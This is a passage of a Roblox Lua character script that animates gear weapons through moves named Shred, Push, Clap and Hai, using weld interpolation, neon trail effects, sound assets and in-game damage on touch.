4043 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4044 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4045 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4046 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4047 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4048 | end | |
4049 | if anim then | |
4050 | anim.Disabled=true | |
4051 | end | |
4052 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4053 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4054 | for i=0,1,0.05 do | |
4055 | swait() | |
4056 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4057 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4058 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4059 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4060 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4061 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4062 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4063 | end | |
4064 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4065 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4066 | for i=0,1,0.05 do | |
4067 | swait() | |
4068 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4069 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4070 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4071 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4072 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4073 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4074 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4075 | end | |
4076 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4077 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4078 | for i=0,1,0.05 do | |
4079 | swait() | |
4080 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4081 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4082 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4083 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4084 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4085 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4086 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4087 | end | |
4088 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4089 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4090 | for i=0,1,0.05 do | |
4091 | swait() | |
4092 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4093 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4094 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4095 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4096 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4097 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4098 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4099 | end | |
4100 | --dmgstop() | |
4101 | Humanoid.WalkSpeed=12 | |
4102 | attack=false | |
4103 | con1:disconnect() | |
4104 | con2:disconnect() | |
4105 | if anim then | |
4106 | anim.Disabled=false | |
4107 | end | |
4108 | if TrailDeb == true then | |
4109 | TrailDeb = false | |
4110 | end | |
4111 | end | |
4112 | ||
4113 | function Shred() | |
4114 | attack=true | |
4115 | mana=mana-100 | |
4116 | if TrailDeb == false then | |
4117 | TrailDeb = true | |
4118 | end | |
4119 | ||
4120 | ||
4121 | coroutine.wrap(function() | |
4122 | local Old = Handle2.CFrame.p | |
4123 | while wait()do | |
4124 | if not TrailDeb then break end | |
4125 | local New = Handle2.CFrame.p | |
4126 | local Mag =(Old -New).magnitude | |
4127 | local Dis =(Old +New)/2 | |
4128 | local Trail = Instance.new("Part",Character) | |
4129 | Trail.Material = "Neon" | |
4130 | Trail.Anchored = true | |
4131 | Trail.CanCollide = false | |
4132 | Trail.BrickColor = TorsoColor | |
4133 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4134 | Trail.TopSurface = 0 | |
4135 | Trail.BottomSurface = 0 | |
4136 | Trail.formFactor = "Custom" | |
4137 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4138 | local ms = Instance.new("BlockMesh",Trail) | |
4139 | ms.Scale = Vector3.new(1,1,1) | |
4140 | local TM = Instance.new("CylinderMesh",Trail) | |
4141 | TM.Scale = Vector3.new(1,1,1) | |
4142 | Old = New | |
4143 | coroutine.wrap(function() | |
4144 | for i = 1,0,-0.1 do | |
4145 | wait() | |
4146 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4147 | end | |
4148 | Trail:remove() | |
4149 | end)() | |
4150 | coroutine.wrap(function() | |
4151 | for i = 1,10 do | |
4152 | wait() | |
4153 | Trail.Transparency = Trail.Transparency +0.1 | |
4154 | end end)()end end)() | |
4155 | coroutine.wrap(function() | |
4156 | local Old = Handle.CFrame.p | |
4157 | while wait()do | |
4158 | if not TrailDeb then break end | |
4159 | local New = Handle.CFrame.p | |
4160 | local Mag =(Old -New).magnitude | |
4161 | local Dis =(Old +New)/2 | |
4162 | local Trail = Instance.new("Part",Character) | |
4163 | Trail.Material = "Neon" | |
4164 | Trail.Anchored = true | |
4165 | Trail.CanCollide = false | |
4166 | Trail.BrickColor = TorsoColor | |
4167 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4168 | Trail.TopSurface = 0 | |
4169 | Trail.BottomSurface = 0 | |
4170 | Trail.formFactor = "Custom" | |
4171 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4172 | local ms = Instance.new("BlockMesh",Trail) | |
4173 | ms.Scale = Vector3.new(1,1,1) | |
4174 | local TM = Instance.new("CylinderMesh",Trail) | |
4175 | TM.Scale = Vector3.new(1,1,1) | |
4176 | Old = New | |
4177 | coroutine.wrap(function() | |
4178 | for i = 1,0,-0.1 do | |
4179 | wait() | |
4180 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4181 | end | |
4182 | Trail:remove() | |
4183 | end)() | |
4184 | coroutine.wrap(function() | |
4185 | for i = 1,10 do | |
4186 | wait() | |
4187 | Trail.Transparency = Trail.Transparency +0.1 | |
4188 | end end)()end end)() | |
4189 | Footsteps:Stop() | |
4190 | Footsteps2:Stop() | |
4191 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4192 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4193 | so("http://www.roblox.com/asset/?id=159882578",Torso,1,1) | |
4194 | for i=0,1,0.1 do | |
4195 | swait() | |
4196 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4197 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4198 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4199 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4200 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4201 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4202 | end | |
4203 | if anim then | |
4204 | anim.Disabled=true | |
4205 | end | |
4206 | for i=0,1,0.05 do | |
4207 | swait() | |
4208 | Torso.Velocity=RootPart.CFrame.lookVector*20 | |
4209 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) | |
4210 | so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) | |
4211 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5) | |
4212 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4213 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4214 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4215 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4216 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4217 | end | |
4218 | for i=0,1,0.05 do | |
4219 | swait() | |
4220 | Torso.Velocity=RootPart.CFrame.lookVector*40 | |
4221 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) | |
4222 | so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) | |
4223 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5) | |
4224 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4225 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4226 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4227 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4228 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4229 | end | |
4230 | for i=0,1,0.05 do | |
4231 | swait() | |
4232 | Torso.Velocity=RootPart.CFrame.lookVector*60 | |
4233 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) | |
4234 | so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) | |
4235 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5) | |
4236 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4237 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4238 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4239 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4240 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4241 | end | |
4242 | so("http://www.roblox.com/asset/?id=159882625",Torso,1,1) | |
4243 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4244 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4245 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4246 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4247 | for i=0,1,0.05 do | |
4248 | swait() | |
4249 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4250 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5) | |
4251 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4252 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4253 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4254 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4255 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4256 | end | |
4257 | for i=0,1,0.005 do | |
4258 | swait() | |
4259 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
4260 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5) | |
4261 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4262 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4263 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4264 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4265 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4266 | end | |
4267 | --dmgstop() | |
4268 | Humanoid.WalkSpeed=12 | |
4269 | attack=false | |
4270 | con1:disconnect() | |
4271 | con2:disconnect() | |
4272 | if anim then | |
4273 | anim.Disabled=false | |
4274 | end | |
4275 | if TrailDeb == true then | |
4276 | TrailDeb = false | |
4277 | end | |
4278 | end | |
4279 | ||
4280 | function Push() | |
4281 | attack=true | |
4282 | mana=mana-20 | |
4283 | if TrailDeb == false then | |
4284 | TrailDeb = true | |
4285 | end | |
4286 | ||
4287 | ||
4288 | coroutine.wrap(function() | |
4289 | local Old = Handle2.CFrame.p | |
4290 | while wait()do | |
4291 | if not TrailDeb then break end | |
4292 | local New = Handle2.CFrame.p | |
4293 | local Mag =(Old -New).magnitude | |
4294 | local Dis =(Old +New)/2 | |
4295 | local Trail = Instance.new("Part",Character) | |
4296 | Trail.Material = "Neon" | |
4297 | Trail.Anchored = true | |
4298 | Trail.CanCollide = false | |
4299 | Trail.BrickColor = TorsoColor | |
4300 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4301 | Trail.TopSurface = 0 | |
4302 | Trail.BottomSurface = 0 | |
4303 | Trail.formFactor = "Custom" | |
4304 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4305 | local ms = Instance.new("BlockMesh",Trail) | |
4306 | ms.Scale = Vector3.new(1,1,1) | |
4307 | local TM = Instance.new("CylinderMesh",Trail) | |
4308 | TM.Scale = Vector3.new(1,1,1) | |
4309 | Old = New | |
4310 | coroutine.wrap(function() | |
4311 | for i = 1,0,-0.1 do | |
4312 | wait() | |
4313 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4314 | end | |
4315 | Trail:remove() | |
4316 | end)() | |
4317 | coroutine.wrap(function() | |
4318 | for i = 1,10 do | |
4319 | wait() | |
4320 | Trail.Transparency = Trail.Transparency +0.1 | |
4321 | end end)()end end)() | |
4322 | coroutine.wrap(function() | |
4323 | local Old = Handle.CFrame.p | |
4324 | while wait()do | |
4325 | if not TrailDeb then break end | |
4326 | local New = Handle.CFrame.p | |
4327 | local Mag =(Old -New).magnitude | |
4328 | local Dis =(Old +New)/2 | |
4329 | local Trail = Instance.new("Part",Character) | |
4330 | Trail.Material = "Neon" | |
4331 | Trail.Anchored = true | |
4332 | Trail.CanCollide = false | |
4333 | Trail.BrickColor = TorsoColor | |
4334 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4335 | Trail.TopSurface = 0 | |
4336 | Trail.BottomSurface = 0 | |
4337 | Trail.formFactor = "Custom" | |
4338 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4339 | local ms = Instance.new("BlockMesh",Trail) | |
4340 | ms.Scale = Vector3.new(1,1,1) | |
4341 | local TM = Instance.new("CylinderMesh",Trail) | |
4342 | TM.Scale = Vector3.new(1,1,1) | |
4343 | Old = New | |
4344 | coroutine.wrap(function() | |
4345 | for i = 1,0,-0.1 do | |
4346 | wait() | |
4347 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4348 | end | |
4349 | Trail:remove() | |
4350 | end)() | |
4351 | coroutine.wrap(function() | |
4352 | for i = 1,10 do | |
4353 | wait() | |
4354 | Trail.Transparency = Trail.Transparency +0.1 | |
4355 | end end)()end end)() | |
4356 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4357 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4358 | for i=0,1,0.1 do | |
4359 | swait() | |
4360 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4361 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4362 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4363 | Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2) | |
4364 | Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2) | |
4365 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3) | |
4366 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3) | |
4367 | end | |
4368 | so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) | |
4369 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4370 | so("http://www.roblox.com/asset/?id=159882481",Torso,1,1) | |
4371 | for i=0,1,0.1 do | |
4372 | swait() | |
4373 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4374 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4375 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4376 | Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2) | |
4377 | Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2) | |
4378 | RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3) | |
4379 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3) | |
4380 | end | |
4381 | --dmgstop() | |
4382 | attack=false | |
4383 | con1:disconnect() | |
4384 | con2:disconnect() | |
4385 | if TrailDeb == true then | |
4386 | TrailDeb = false | |
4387 | end | |
4388 | end | |
4389 | ||
4390 | function Clap() | |
4391 | attack=true | |
4392 | mana=mana-20 | |
4393 | if TrailDeb == false then | |
4394 | TrailDeb = true | |
4395 | end | |
4396 | ||
4397 | ||
4398 | coroutine.wrap(function() | |
4399 | local Old = Handle2.CFrame.p | |
4400 | while wait()do | |
4401 | if not TrailDeb then break end | |
4402 | local New = Handle2.CFrame.p | |
4403 | local Mag =(Old -New).magnitude | |
4404 | local Dis =(Old +New)/2 | |
4405 | local Trail = Instance.new("Part",Character) | |
4406 | Trail.Material = "Neon" | |
4407 | Trail.Anchored = true | |
4408 | Trail.CanCollide = false | |
4409 | Trail.BrickColor = TorsoColor | |
4410 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4411 | Trail.TopSurface = 0 | |
4412 | Trail.BottomSurface = 0 | |
4413 | Trail.formFactor = "Custom" | |
4414 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4415 | local ms = Instance.new("BlockMesh",Trail) | |
4416 | ms.Scale = Vector3.new(1,1,1) | |
4417 | local TM = Instance.new("CylinderMesh",Trail) | |
4418 | TM.Scale = Vector3.new(1,1,1) | |
4419 | Old = New | |
4420 | coroutine.wrap(function() | |
4421 | for i = 1,0,-0.1 do | |
4422 | wait() | |
4423 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4424 | end | |
4425 | Trail:remove() | |
4426 | end)() | |
4427 | coroutine.wrap(function() | |
4428 | for i = 1,10 do | |
4429 | wait() | |
4430 | Trail.Transparency = Trail.Transparency +0.1 | |
4431 | end end)()end end)() | |
4432 | coroutine.wrap(function() | |
4433 | local Old = Handle.CFrame.p | |
4434 | while wait()do | |
4435 | if not TrailDeb then break end | |
4436 | local New = Handle.CFrame.p | |
4437 | local Mag =(Old -New).magnitude | |
4438 | local Dis =(Old +New)/2 | |
4439 | local Trail = Instance.new("Part",Character) | |
4440 | Trail.Material = "Neon" | |
4441 | Trail.Anchored = true | |
4442 | Trail.CanCollide = false | |
4443 | Trail.BrickColor = TorsoColor | |
4444 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4445 | Trail.TopSurface = 0 | |
4446 | Trail.BottomSurface = 0 | |
4447 | Trail.formFactor = "Custom" | |
4448 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4449 | local ms = Instance.new("BlockMesh",Trail) | |
4450 | ms.Scale = Vector3.new(1,1,1) | |
4451 | local TM = Instance.new("CylinderMesh",Trail) | |
4452 | TM.Scale = Vector3.new(1,1,1) | |
4453 | Old = New | |
4454 | coroutine.wrap(function() | |
4455 | for i = 1,0,-0.1 do | |
4456 | wait() | |
4457 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4458 | end | |
4459 | Trail:remove() | |
4460 | end)() | |
4461 | coroutine.wrap(function() | |
4462 | for i = 1,10 do | |
4463 | wait() | |
4464 | Trail.Transparency = Trail.Transparency +0.1 | |
4465 | end end)()end end)() | |
4466 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4467 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4468 | so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9) | |
4469 | for i=0,1,0.08 do | |
4470 | swait() | |
4471 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4472 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4473 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4474 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2) | |
4475 | Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2) | |
4476 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3) | |
4477 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3) | |
4478 | end | |
4479 | so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) | |
4480 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4481 | for i=0,1,0.08 do | |
4482 | swait() | |
4483 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4484 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4485 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4486 | Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2) | |
4487 | Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2) | |
4488 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3) | |
4489 | RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3) | |
4490 | end | |
4491 | --dmgstop() | |
4492 | attack=false | |
4493 | con1:disconnect() | |
4494 | con2:disconnect() | |
4495 | if TrailDeb == true then | |
4496 | TrailDeb = false | |
4497 | end | |
4498 | end | |
4499 | ||
4500 | function Hai() | |
4501 | attack=true | |
4502 | Humanoid.WalkSpeed=0 | |
4503 | so("http://www.roblox.com/asset/?id=159882567",Torso,1,1) | |
4504 | for i=0,1,0.1 do | |
4505 | swait() | |
4506 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4507 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4508 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4509 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2) | |
4510 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2) | |
4511 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4512 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4513 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
4514 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4515 | end | |
4516 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8) | |
4517 | for i=0,1,0.1 do | |
4518 | swait() | |
4519 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4520 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4521 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4522 | Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2) | |
4523 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4524 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4525 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4526 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5) | |
